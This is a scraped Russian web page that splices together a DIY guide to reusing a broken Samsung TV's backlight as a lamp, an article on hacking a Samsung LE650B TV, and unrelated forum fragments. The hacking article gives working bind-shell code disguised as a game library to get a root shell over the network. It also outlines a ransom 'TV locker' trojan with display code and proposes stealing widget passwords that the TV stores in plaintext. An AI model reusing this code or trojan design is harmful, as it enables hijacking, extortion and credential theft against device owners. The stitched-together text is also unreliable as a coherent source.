Как использовать мозги разбитого смарт тв самсунг
Часовой пояс: UTC + 3 часа
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Русская поддержка phpBB
Extended by Karma MOD © 2007—2012 m157y
Extended by Topic Tags MOD © 2012 m157y
Работоспособность сайта проверена в браузерах:
IE8.0, Opera 9.0, Netscape Navigator 7.0, Mozilla Firefox 5.0
Адаптирован для работы при разрешениях экрана от 1280х1024 и выше.
При меньших разрешениях возможно появление горизонтальной прокрутки.
По всем вопросам обращайтесь к Коту: kot@radiokot.ru
©2005-2023
Вторая жизнь телевизора. Часть первая — свет.

Собственно, второй и третий подход можно совместить. Часть компонентов не понадобится в наших экспериментах.
- ЖК-матрица, создающее изображение
- подсветка (чаще всего ЛЕД) и рассеивающие элементы
- Контроллер матрицы (T-con board)
- Контроллер подсветки (LED Driver)
- «мозги» — коммутатор сигналов, ТВ-тюнер, смарт часть
- аудиосистема — усилитель и динамики
- блок питания
Да будет свет!
- От телевизора-донора используется только корпус и рассеивающие пластики.
- Используются «родные» светодиоды с другим контроллером
- Используется родной контроллер подсветки с кастомным включением
- Вся электроника остаётся, телевизор как бы показывает внешний источник
Использование только корпуса
- не надо разбираться с характеристиками штатных светодиодных полос
- Можно сделать RGB свет, регулируемую температуру, программируемые эффекты и т.д.
- Компоненты ТВ (питание, контроллер, шлейфы, светодиоды) можно выставить на барахолку — авось кто купит
Использование «родных» светодиодов
Этот подход наиболее энергоэффективен — при использовании штатного блока питания запитываются ещё и цепи для уже ненужной требухи — «мозгов», звука и т.д.
Минус этого подхода — надо подобрать контроллер. Возможно, я совсем не умею искать в интернет-магазинах, но я не смог найти многоканального ЛЕД драйвера, который обычно стоит в ТВ/мониторной подсветке. Гуру поиска — помогите, пришлите в комментах примеры!
Использование «родного» драйвера
- не надо разбираться с характеристиками штатных светодиодных полос
- Минимум дополнительных компонентов
- Достаточно высокая эффективность
Использование всей исходной электроники
Тут всё может заработать «из коробки», но есть нюансы: телевизор может выключиться без подключённого источника, яркость подсветки может быть не на максимуме (а поменять его никак).
Так что я выбрал путь штатного контроллера подсветки.
Диагностика
Первым делом мы снимаем заднюю крышку ТВ, чтобы получить доступ к электронике. Идентифицируем платы и разъёмы.
Блок питания

Хотя он может выглядеть по-разному, именно в этот блок приходит высоковольтный провод, Будьте осторожны с этим блоком — тут высокое напряжение! В моём случае высоковольтная часть обведена белой «вафельницей».
Из этого блока обычно отходят две косы
— одна идёт вглубь корпуса — это питание светодиодов. На моём фото — внизу
— вторая соединяется с «мозгами» — она нам понадобится.
Контроллер или «мозги»

Как уже говорили выше, к ней приходит провод от блока питания. Также на этой плате разъёмы входов, сеть и пр.
От неё могут отходить следующие провода:
— к матрице (обычно широкий и плоский)
— к колонкам — 4 толстых провода как у меня или по паре на каждый динамик
— к кнопкам и датчику пульта
— к вспомогательным платам — WiFi, камера и прочее
T-con

Эта плата преобразует видеосигнал от «мозгов» в формат, понятный данной матрице. Тут мы видим, что автор матрицы — AUO. Более нам это не интересно.

Как видно на первом фото, мне повезло, и сигналы между блоком питания и контроллером подписаны. Что же мы видим?
NC — not connected (не используется)
GND — ground (земля)
+16V — 16 вольт постоянного тока
+16VA — always? Вообще часто А обозначают переменный ток, но + рядом развеивает. Считаем, что это standby, то есть всегда включённое
PS_ON — power supply ON (сигнал ОТ контроллера, что надо включаться всему блоку питания)
BL_O/F — backlight On/Off(включение подсветки)
DIM — dimming (яркость подсветки). Обычно ШИМ, но может быть и простое сопротивление
Далее нам надо аккуратно подключить ТВ в сети и измерить напряжение:
(в выключенном состоянии)
— на линиях питания (какая включена постоянно, какая нет, сколько вольт)
(во включённом состоянии)
— на линиях PS_ON, BL_O/F, DIM
Тут скорее всего будет либо 3.3В, либо 5В. Если повезёт, то блок питания выдаёт это же напряжение на плату контроллера и достаточно будет закоротить эти сигналы. В моём случае чуда не произошло — плата выдаёт только 16 вольт, назад ждёт 5-вольтовые сигналы.
Демонтаж разбитого
(к сожалению, не сделал фото процесса)
от платы T-con шлейфы идут либо сразу на матрицу, либо на платы вдоль краёв экрана. Отсоединяем что можем, что не можем — отрываем. Аккуратно разбираем «бутерброд» из рассеивающих панелей и самой ЖК матрицы — она будет единственная чёрная — отсоединяем её и выкидываем. Остальное собираем обратно.
Закупка
Итак, для включения подсветки нам надо выдать 5-вольтовый сигнал. Мощность «чуть больше чем ничего», так что были закуплены понижающие микропреобразователи: https://aliexpress.com/item/item/33041814413.html и выключатели для всего этого дела: https://aliexpress.com/item/item/33051135600.html
Сборка

Эта схема проста: одножильными проводами воткнулся прямо в «косу» от блока питания в контроллер. По «чёрно-белому» проводу идёт 16 вольт через включатель и земля. Бело-синими проводами (брошенными монтёром у телефонной коробки) 5-вольтовые сигналы идут на все три линии.
Собрал, проверил. Если на канал DIM идёт меньше, чем ожидает драйвер, подсветка будет мигать. С вольтметром в одной руке и часовой отвёрткой в другой нашёл порог, при котором всё успокаивается.
В принципе, можно собирать и применять. Но ведь можно же сделать плавненько!
Регулировка яркости
Почитав в даташите на микросхему подсветки, что ждёт от нас контроллер на канале DIM (я надеялся, что просто резистором обойдусь), был разочарован — он там ждёт ШИМ сигнал, скважность (часть времени, когда сигнал есть) определяет яркость.
На том же Али были приобретены недорогие ШИМ-контроллеры: https://aliexpress.com/item/item/32953823579.html
Даже на фото опытный бы глаз заметил, что плюсовой вывод у них соединён со вводом, а ШИМ на минусовом, что меня никак не устраивало. Как жаль, что понял я это только после получения плат. Зато, внимательно измерив сигнал на «минусовом» выводе, я возрадовался: он давал нормальный ШИМ-сигнал амплитудой входящего напряжения!
Более того, при выключении (а там крутилка с кликом) на минусовой вывод подавалось входящее напряжение! Т.е. у меня получился отключаемый сигнал яркости. Вот так это выглядит вживую:
Как видно, все органы управления размещены там, где раньше были входы. Для кнопки вкл я расширил отверстие USB-разъёма, а регулятор яркости без подгонки влез в коаксиальный вход. Всё было закреплено и заизолированно кусками матерчатой ленты, на которой раньше держались штатные провода.
Применение
С применением есть неопределённость. Больше всего свет от такого источника похож на свет из окна, особенного из мансардного. Получается, что в каком-нибудь подвале можно оформить этот телевизор на стене за шторами ли похожим образом — псевдоокно. Также перспективно разместить на потолке (гаража, подвала и т.п.) и получить псевдомансардное окно. Пока не решил.
Можно использовать как источник фотосвета, хотя он достаточно холодный. Я скачал приложуху-люксметр, он мне насчитал 60000 люкс в метре от телевизора. На вид очень ярко, телефон не передаст. Если будет спрос, сниму видео (пишите, как его правильно снимать).
В следующей части мы поговорим о звуке. Я ничего не понимаю в дизайне акустических систем, так что буду рад дельным советам!
Добавить в избранное Понравилось +28 +52
- 19 июля 2021, 09:31
- автор: RavenRA
- просмотры: 32197
Hack TV: взлом телевизора и изучение его кишок на примере Samsung LE650B

Взлом встраиваемых систем и, в частности, различной бытовой техники — это очень интересная тема и перспективное направление. Сегодня я покажу тебе это на примере телевизора Samsung LE650B. Все в этом телеке почти стандартно — GNU/Linux, BusyBox, — но чтобы получить к нему доступ, мне пришлось изрядно потрудиться.
Наши задачи
Первым делом нужно обозначить конкретные задачи, которые я перед собой ставил. Главная задача — исследовать телевизор и осуществить локальный взлом: получить полный доступ к кишкам нашего телека и разобраться с тем, как он функционирует на уровне ОС. Побочная задача — поразмышлять на тему трояна для зомбоящика и прикинуть, как подобный трой мог бы выглядеть.
Подключаемся
Первичный осмотр телевизора показал, что на борту устройства есть Ethernet-порт. Это очень важное обстоятельство, ведь если у телевизора есть сетевой интерфейс, то наверняка есть и сетевые сервисы. Выбрав ручную настройку сети, я назначил телевизору статический адрес 192.168.1.2, а своему ноутбуку – 192.168.1.1. После этого я соединил патч-кордом телек с ноутбуком и проверил связь — телевизор отлично пинговался.
Для сбора информации об открытых портах и запущенных сетевых сервисах я традиционно воспользовался сканером портов nmap:
$ nmap -A 192.168.1.2
Nmap scan report for 192.168.1.2
Host is up (0.00019s latency).
All 1000 scanned ports on 192.168.1.2 are closed
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)
OS details: Linux 2.6.14 — 2.6.16, Linux 2.6.17 (Mandriva)
Честно говоря, я и не ожидал увидеть тут открытый телнет, так что подобный результат меня не сильно обломал :). Нет открытых TCP-портов — ничего страшного. Может, UDP-сервисы порадуют?
# nmap -sU 192.168.1.2
Nmapscanreportfor 192.168.1.2
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
1024/udpopen|filtered unknown
1026/udpopen|filtered win-rpc
1900/udpopen|filtered upnp
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)
Засветился UPnP, уже кое-что. Эта технология является ядреной помесью HTTP и XML для связи и управления устройствами. В данном случае UPnP используется для поддержки DLNA (Digital Living Network Alliance) — технологии, позволяющей передавать различный медиа-контент по сети между совместимыми устройствами, например играть видео или музыку через Wi-Fi/Ethernet с DLNA-сервера. Отметим это обстоятельство и отложим пока UPnP в сторону, нужно завершить исследование.
Осмотр GUI
Больше всего мне хотелось получить полноценный доступ к операционной системе зомбоящика, идеальным вариантом была бы консоль с рутовыми правами
Размышляя об этом, я решил побродить по меню телевизора, вдруг там есть что-нибудь интересное? Среди различных «Галерей» и «Музыки», я нашел интересный пункт «Игры». Идея была стандартной: наверняка кроме предустановленных гамес Samsung сделал возможность установки новых игр и даже предоставил SDK для их создания. Осталось понять, как новые игры устанавливаются, а на чeм они написаны и в каком формате — не столь важно.
Само собой, играть я собрался в занимательную игру под названием bindshell. После минутного поиска я попал на Samsung AppStore. Зарегистрировавшись, я загрузил первую попавшуюся бесплатную игру. Из интересного в файле с игрой имелись: xml-файл clmeta.dat – manifest-файл, с языковыми настройками и описателями файлов игры; рядом находится game.so — sharedlibrary, в ней и лежит код запуска игры. Была еще куча файлов — ресурсы игры и прочие бинарники. Первым делом мне захотелось узнать, для какого процессора собрана игра:
$ file game.so
game.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped
Все ожидаемо — ARM! Где мультимедиа, там и эти трудяги. Просматривая информацию из этой библиотеки, вывод objdump, я заметил функцию Game_Main, которая, как оказалось, и вызывается при загрузке игры. Прежде чем писать что-то для получения доступа к системе, нужно было разобраться, каким образом игры загружаются на телевизор. Поместив директорию с файлами игры в корень флэшки (FAT32) и подключив ее к телевизору, я увидел меню автозапуска, предлагающее мне обновить ПО или же посмотреть содержимое через ContentLibrary. В ContentLibrary: источник — флешка, пункт меню — «Игра», в списке директорий — «Директория с игрой .. Воспроизвести». Готово, игра загрузилась.
Теперь таким же образом нужно запустить нашу хек-игру. Bindshell я взял самый элементарный, никаких особых выкрутасов здесь не требуется, главное — скомпилировать его как sharedlibrary и объявить функцию Game_Main().
#include
#include
#include
#include
#include
extern Game_Main;
void Game_Main()
int icmp_sock, shell_sock, cli;
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(1337);
shell_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(shell_sock, (structsockaddr *)&sin, sizeof(sin));
listen(shell_sock, 1);
cli = accept(shell_sock, NULL, 0);
dup2 ( cli, 0 );
dup2 ( cli, 1 );
dup2 ( cli, 2 );
execl ( «/bin/sh», «sh», NULL );
>
arm-linux-gccbindshell.c -fPIC -shared -o game.so
Запуск злокода
Для запуска бинд-шелла нужно положить в корень флэшки папку с файлами game.so (который получили на прошлом этапе)и clmeta.dat (его можно взять от любой другой игры). После этого нужно подключить флешку к телевизору и запустить игру в меню автозапуска. В качестве результата работы бинд-шелла ты должен получить черный экран на телевизоре и открытый шелл на 1337 порту. Успех работы бинд-шелла проверяется простой командой:
$ telnet 192.168.1.2 1337
Имея опыт работы со встраиваемыми системами, я сразу подумал, что в устройстве используется busybox — популярный простенький шелл с набором основных консольных утилит. Запустив эту оболочку командой busybox, я увидел традиционный help, в котором была информация об ОС и список доступных программ, включающий даже vi.
Внутренности системы
В корне файловой системы я сразу заметил кучу mtd_*-директорий: это точки монтирования блоков flash-памяти. Версия ОС как всегда на своем месте:
# cat /proc/version
[28_64_512] Linux version 2.6.18_SELP-ARM (ksh921@sp) (gcc version 4.2.0 20070514 (GPL2) (SELP 4.2.0-3.0.5.custom 2007-10-31(14:53))) #81 PREEMPT Mon Jun 22 10:10:31 KST 2009
Интересно взглянуть и на файл passwd:
# cat /etc/passwd
root::0:0:Root. /:/bin/sh
Вот так, даже без пароля. Подробнее о железе можно узнать из лога загрузки, да и вообще туда следует заглядывать всегда, помогает понять общую картину строения девайса:
Теперь интересные части лога:
CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv6TEJ), cr=00c5387f
Machine: Samsung-SDP83 Eval. Board(64bit 512MB)
SDP83 Core Clock: 600.0Mhz
SDP83 DDR2 Clock: 399.937Mhz
А телевизор оснащен неплохо: ARMv6 600Mhz, DRRII 400Mhz 512MB. Буквы «TEJ» здесь означают следующее:
- T: Поддержка THUMB-режима процессора. В этом режиме исполняются инструкции длиной 16 бит (в нормальном режиме – 32). Режим этот нужен для оптимизации программ по размеру.
- E: Enhanced DSP instructions.
- J: Jazelle DBX (Direct Bytecode eXecution) — семейство замечательных технологий, разработанных компанией ARM для аппаратного ускорения выполнения Java байт-кода. В процессор добавляется специальный сопроцессор, который аппаратно преобразует байт-код в инструкции основного процессора. В результате осуществляется значительное ускорение выполнения Java-кода.
В списке процессов не было почти ничего интересного, за исключением процесса exeDSP — это управляющая программа.
Список модулей ядра:
# lsmod
rt73 354092 0xbf531000
rt2870sta 674644 0xbf48b000
usb_storage 37796 0xbf480000
ohci_hcd 18692 0xbf47a000
ehci_hcd 29992 0xbf471000
usbcore 129064 0xbf450000
usb_fault 4380 0xbf44d000
8139too 23296 0xbf446000
samdrv 3875988 0xbf092000
rfs 71688 0xbf07f000
fsr_stl 251448 0xbf040000
fsr 257756 0xbf000000
Сверху вниз: первые 2 модуля — драйверы фирменных Wi-Fi адаптеров Samsung. Компания специально убрала поддержку сторонних адаптеров, чтобы потребителям пришлось покупать «родные» карточки по высокой цене. Следующие пять модулей реализуют поддержку usb; далее идет драйвер сетевой карты; samdrv — драйвер телевизора; следующий по списку — модуль поддержки файловой системы Samsung, fsr* — модули доступа к памяти.
Файловая система
Руководствуясь данными mount, df и содержанием файла /sbin/update.sh, я собрал полезную информацию о структуре файловой системы нашего телевизора:
- /dev/tbml6, squashfs, ro, / — корневая файловая система;
- /dev/tbml7, squashfs, ro, /mtd_boot — содержит управляющую программу MinicomCtrl, несколько стартовых скриптов и модули ядра;
- /dev/tbml8, rfs, ro, /mtd_exe – содержит множество файлов, в том числе управляющую программу exeDSP, драйвер samdrv.ko, библиотеки;
- /dev/tbml9 squashfs, ro, /mtd_appdata – содержит служебные файлы;
- /mtd_tlib — MediaContent — галерея, игры и прочее;
- /mtd_down — содержит загруженные виджеты;
- /dtv/usb/sd* — точки монтирования usb-flash.
Как видно, тут используются два типа ФС: squashfs и rfs. Squashfs предоставляет доступ к данным только в режиме ReadOnly, поэтому для модификации данных нужно слить дамп на внешний носитель, распаковать, изменить данные и залить исправленный образ назад на устройство.
Заметив среди точек монтирования свою флешку, я решил сдампить на нее все интересное для дальнейшего изучения и модификации. Первым делом я забрал дамп корневой файловой системы:
# cat /dev/tbml6 > /dtv/usb/sda/rootfs.img
Сдампив по аналогии все что было можно, я отправился бродить по директориям. Вот наиболее интересные места и файлы, которые я обнаружил:
- /mtd_exe/GAME_LIB/ — SDL-библиотеки, используемые играми для вывода звукаграфики;
- /mtd_exe/InfoLink/keyconfig — биндинги клавиш пульта дистанционного управления, при просмотре содержимого сразу видно «костыль» — биндинги к клавишам обычной клавиатуры;
- /mtd_appdata/resourse — звуки включения (on.mp3), выключения (off.mp3), сброса до заводских настроек (factory_reset_bell.mp3) и звук, проигрываемый при тесте (self.mp3).
Распаковка
Корневая файловая система распаковывается элементарно:
А как быть с /mtd_exe? Файловая система RFS создана на базе FAT16, поэтому ничего распаковывать не требуется, нужно просто ее смонтировать:
$ mkdirmtd_exe
$ mount mtd_exe.img ./mtd_exe -o loop
$ ls -la mtd_exe
Теперь у нас есть возможность изменять любые данные внутри этих дампов: например, можно легко сменить ненавистные звуки включения/выключения устройства (/mtd_appdata/resourse) или перенастроить значение клавиш пульта ДУ (/mtd_exe/InfoLink/keyconfig).
Троян для телевизора
Речь пойдет только о концепции трояна, никакого законченного решения здесь нет. Моей целью является просто пофантазировать на эту тему и показать, как примерно может выглядеть вредоносный софт для современных телевизоров. Прежде всего, что вообще может делать такой троян? Вот сходу три годные идеи:
1. Блокиратор телевизора
Все помнят веселый замес с троянами типа Winlock. Тупой софт, блокирующий работу компьютера и предлагающий снять ограничения платной SMS’кой, позволил злым парням заработать миллионы долларов. Ничто не мешает развить эту идею на новые платформы, и телевизоры — точно не худший вариант для этого. Представь: «Телевизор заблокирован, для разблокирования отправьте sms на номер XXXX». Как ты скоро убедишься, написать такой «троян» довольно просто.
2. Рекламный трой
Идея простая — классическая adware, рекламный трой, показывающий рекламу во время просмотра телека или использования меню.
3. DDoS/спам-бот
Любой современный телевизор — это прежде всего обычный компьютер на базе Linux. И, само собой, он легко может выполнять любой привычный троянописателям функционал наподобие рассылки спама, участия в DDoS-ботнетах и так далее. Теперь расскажу, как подобные трои могут работать. В качестве примера я решил взять блокиратор: это довольно простой и показательный пример. Для вывода графики в телевизоре используется библиотека SDL. Документация к этой библиотеке есть и на русском языке. Все стартовые скрипты расположены на блоках с RO-доступом, без правки дампов не обойтись. Но есть еще один вариант — автозапуск через виджеты или игры. Не обязательно инфицировать игру, можно просто переименовать game.so, а вместо него положить рядышком wrapper с полезной нагрузкой, который в форке запустит игру, чтобы не нервировать пользователя.
Итак, принцип работы трояна. Стартовав, первым делом fork’аемся на 2 процесса: первый будет выводить графику, второй — отстукиваться на управляющий сервер. Инициализация графики в телевизоре должна проходить примерно таким образом:
#defi ne VIDEO_X 1920
#defi ne VIDEO_Y 1080
#defi ne VIDEO_BPP 32
#defi ne SCREEN_FLAGS 0
.
fl og = fopen(«/dev/kmsg», «a+»);
.
int init_video(void)
if(SDL_Init(SDL_INIT_VIDEO) == -1 )
printf(flog, «Fail with SDL_Init: %s.n», SDL_GetError());
return 0;
>
atexit(SDL_Quit);
if(!(screen = SDL_SetVideoMode(VIDEO_X, VIDEO_Y, 32, SCREEN_FLAGS)))
fprintf(flog, «Fail with SDL_SetVideoMode: %s.n», SDL_GetError());
return 0;
>
Далее нужно вывести сообщение вроде «Телевизор заблокирован, отправьте SMS. «. Проще всего загрузить изображение с этим текстом, плюс можно ещe и пофантазировать вдоволь. Делается это очень просто:
int draw_image()
if(!(image = SDL_LoadBMP(«/mtd_down/locker/fuckup.bmp»)))
printf(«Fail with LoadBMP: %s.n», SDL_GetError());
return 0;
>
SDL_BlitSurface(image, NULL, screen, NULL);
return 1;
>
Функция SDL_BlitSurface() «накладывает» загруженное изображение на экран. Графическая часть трояна готова. С сетевой частью проблем не будет — обычные сокеты, никакой экзотики.
Недостатки Internet@TV
В оболочке телевизора есть интерфейс «Internet@TV» — это своего рода каталог интернет-виджетов: AccuWether, Youtube, Twitter, Facebook. Я поставил Twitter: мне было интересно посмотреть, как тут все устроено в плане безопасности. Вбив свой логин с паролем в виджет Twitter, я зателнетился к телевизору, чтобы поискать, как хранятся пароли от моего твиттера.
Исследуя каталог /mtd_down/common, я нашел папку с многообещающим названием WidgetMgr. Внутри лежали файлы cpdata1.dat и localId.dat. Как выяснилось, именно в этих файлах и хранились в открытом виде пароли от виджетов:
# cat localId.dat
hm 1111 cpdata1.dat
cat cpdata1.dat
Поясню немного назначение файлов: localId содержит параметры «общей» учeтной записи, по одной на строку. Формат прост — login:pin:passwd_file.
Файл c pdataN (где N — номер «общей» учeтной записи, этих файлов может быть несколько), содержит пароли к виджетам в открытом виде. Все, теперь ты можешь добавить к нашему «трояну» функционал для кражи сохраненных в телевизоре паролей от интернет-сервисов.
Реанимация устройства: консольный кабель

Перед тем как закатывать исправленные дампы файловой системы, нужно узнать, как восстанавливать девайс в случае неудачной записи. Для этого у телевизора имеется специальный разъем, выполненный под обычный 3.5-миллиметровый джек. Собственно, терминальный кабель и представляет собой аудио-кабель, у которого с одной стороны джек, а с другой – разъем RS-232.
Имеется два варианта восстановления:
Через консоль
- Подключаем телевизор к компьютеру при помощи кабеля.
- Подключаемся к телевизору с помощью любой терминальной программы.
- Включаем поддержку usb, запустив стартовый скрипт (нужно для usb-flash памяти):
/lib/modules/rc.local
Включаем поддержку NAND-памяти и файловой системы rfs:
# insmod /lib/modules/fsr.ko
# insmod /lib/modules/rfs.ko
# insmod /lib/modules/fsr_stl.ko
Стираем кривой образ, например:
bml.erase /dev/bml0/5
Записываем ранее скопированный, оригинальный или исправленный образ, находящийся на флэшке:
bml.restore /dev/bml0/5 /dtv/usb/sd1/Image.img
Через загрузчик u-boot
- файловая система на флeшке должна быть FAT32;
- дампы должны находиться в директории /update;
- имена дампов должны соответствовать приведeнным ниже:
/dev/bml0/1 onboot.bin
/dev/bml0/2 u-boot.bin
/dev/bml0/3 uboot_env.bin
/dev/bml0/4 fnw.bin
/dev/bml0/5 Image
/dev/bml0/6 rootfs.img
/dev/bml0/7 boot.img
Подключить к «битому» ТВ другой ТВ.
Вы можете написать сейчас и зарегистрироваться позже. Если у вас есть аккаунт, авторизуйтесь, чтобы опубликовать от имени своего аккаунта.
Примечание: Ваш пост будет проверен модератором, прежде чем станет видимым.
Поделиться
Последние посетители 0 пользователей онлайн
- Ни одного зарегистрированного пользователя не просматривает данную страницу
Объявления
Сообщения
Ну технически.Яркость светодиодов что бы одинаковая была.Вот такой критерий.
![]()
При прямом пуске асинхронного двигателя проседает напряжение вплоть до отпускания контактора. Номинальный ток в районе 70А, 380В. Можно ли решить проблему не используя контакторы с управлением постоянным током (через стабилизатор в данном случае). Почему-то они намного дороже по сравнению с управлением переменкой.
Если соединю последовательно,будет 25 вольт переменки,LM358 плохо не станет?
![]()
Мне кажется, или тут что то не так?
Думал перемотать но нет хорошего провода Спасибо! сам блок питания заработал,только пока транзистор TIP41C,КТ819 приедут завтра(валдберис) ,ток до 2,5 ампер (я так подумал-незачем мне ток 5 ампер )
